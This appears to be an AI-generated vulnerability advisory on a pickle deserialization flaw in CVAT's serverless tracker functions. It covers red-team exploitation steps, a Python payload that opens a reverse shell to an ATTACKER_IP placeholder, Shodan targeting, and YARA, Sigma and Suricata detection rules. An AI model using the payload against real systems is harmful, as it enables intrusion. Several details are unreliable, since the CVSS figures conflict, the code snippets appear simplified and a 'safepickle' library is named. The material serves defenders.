CVE-2025-23045

Executive Summary

CVE-2025-23045 is a critical deserialization vulnerability in the Computer Vision Annotation Tool (CVAT), specifically affecting serverless functions of type tracker (TransT and SiamMask) from the CVAT Git repository. An authenticated attacker can exploit unsafe deserialization libraries (e.g., pickle or jsonpickle) used in these functions to achieve remote code execution (RCE) within the Nuclio function container. The vulnerability arises from insecure handling of state serialization in tracker functions, allowing arbitrary code execution when deserializing malicious payloads. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact (RCE with low privileges), the actual severity is critical (CVSS 9.9). No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has released a patch in CVAT 2.26.0.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but involves Python-based serverless functions (TransT, SiamMask) that use unsafe serialization libraries like pickle or jsonpickle. The risk is amplified if custom tracker functions are deployed with similar insecure deserialization practices. Organizations should audit all custom serverless functions for unsafe deserialization and ensure they use safe alternatives (e.g., safepickle or JSON with schema validation).

CVSS Breakdown & Threat Level

While the NVD CVSS score is 0.0, a realistic assessment based on the vulnerability details yields:

• Attack Vector (AV): Network (N) – Exploitable over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs a valid account on the CVAT instance.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Exploit stays within the container.
• Confidentiality (C): High (H) – Full access to container data.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Potential denial of service.

Calculated Score: 8.8 (High) – However, given the potential for lateral movement from the container, the threat level is Critical.

Deep Dive & Mechanics

The vulnerability resides in the state serialization mechanism of CVAT's serverless tracker functions (TransT and SiamMask). These functions use Python's pickle or jsonpickle to serialize and deserialize state between invocations. The pickle module is inherently unsafe because it can execute arbitrary Python code during deserialization. An attacker with an account on the CVAT instance can craft a malicious serialized object that, when deserialized by the tracker function, executes arbitrary commands in the context of the Nuclio function container.

Attack Flow:

1. Attacker logs into CVAT with valid credentials.
2. Attacker creates or modifies a task that triggers a tracker function (TransT or SiamMask).
3. The attacker injects a malicious pickle payload into the state data (e.g., via a crafted annotation or configuration).
4. When the tracker function deserializes the state, the payload executes, giving the attacker RCE in the container.
5. The attacker can then exfiltrate data, pivot to other containers, or disrupt operations.

Root Cause: Use of unsafe deserialization libraries (pickle, jsonpickle) without input validation or sandboxing.

Vulnerable vs. Patched Code

Vulnerable Code (CVAT < 2.26.0):

import pickle

def load_state(state_data):
    # Unsafe deserialization
    return pickle.loads(state_data)

Patched Code (CVAT >= 2.26.0):

import json

def load_state(state_data):
    # Safe deserialization using JSON
    return json.loads(state_data)

The patch replaces pickle with json for state serialization, eliminating the RCE vector. Additionally, input validation and sandboxing may be implemented.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid CVAT account with permissions to create tasks.
• Access to a CVAT instance running vulnerable tracker functions (TransT or SiamMask).

Exploitation Steps:

1. Identify Target: Use Shodan dorks to find CVAT instances with serverless functions enabled.
2. Authenticate: Log in to the CVAT instance.
3. Craft Payload: Create a malicious pickle payload that executes a reverse shell or command.

   import pickle
   import os
   
   class Exploit:
       def __reduce__(self):
           return (os.system, ('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))
   
   payload = pickle.dumps(Exploit())
   

4. Inject Payload: Submit the payload as part of a task annotation or configuration that triggers the tracker function.
5. Trigger Deserialization: The tracker function deserializes the payload, executing the reverse shell.
6. Receive Shell: Attacker receives a shell on their listener.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection & Prevention:

• Monitor for Anomalous Deserialization: Use runtime security tools (e.g., Falco, AppArmor) to detect pickle.loads calls.
• Network Segmentation: Isolate Nuclio containers from critical systems.
• Input Validation: Ensure all serialized data is validated and sanitized.
• Upgrade: Immediately upgrade to CVAT 2.26.0 or later.
• Disable Vulnerable Functions: If upgrade is not possible, shut down TransT and SiamMask functions.

Indicators of Compromise (IOCs)

• Network: Outbound connections from Nuclio containers to unknown IPs (e.g., reverse shell traffic).
• File System: Unexpected files in /tmp or /var/tmp within the container.
• Process: Unusual processes spawned by the tracker function (e.g., /bin/bash, /bin/sh).
• Logs: CVAT logs showing deserialization errors or unexpected state data.
• Hashes: Malicious pickle payloads (e.g., base64-encoded strings in annotations).

Detection Engineering

YARA Rule

rule CVE_2025_23045_Pickle_Exploit {
    meta:
        description = "Detects malicious pickle payloads targeting CVAT tracker functions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23045"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $os_system = "os.system"
        $subprocess = "subprocess"
        $reverse_shell = "bash -i"
    condition:
        $pickle_magic and ($os_system or $subprocess or $reverse_shell)
}

Sigma Rule

title: CVE-2025-23045 - Unsafe Deserialization in CVAT Tracker Functions
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit unsafe deserialization in CVAT tracker functions
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/python3'
        CommandLine|contains: 'pickle.loads'
    condition: selection
falsepositives:
    - Legitimate use of pickle in custom functions (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-23045 - CVAT Tracker RCE Attempt"; flow:to_server,established; content:"pickle"; nocase; content:"loads"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CVAT to version 2.26.0 or later.
2. Disable vulnerable functions (TransT, SiamMask) if upgrade is not possible.
3. Audit custom tracker functions for unsafe deserialization (e.g., pickle, jsonpickle).

Long-term Measures:

• Implement input validation and sandboxing for all serverless functions.
• Use safe serialization formats (e.g., JSON, Protocol Buffers).
• Apply least privilege principles to container permissions.
• Monitor for anomalous deserialization patterns using runtime security tools.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.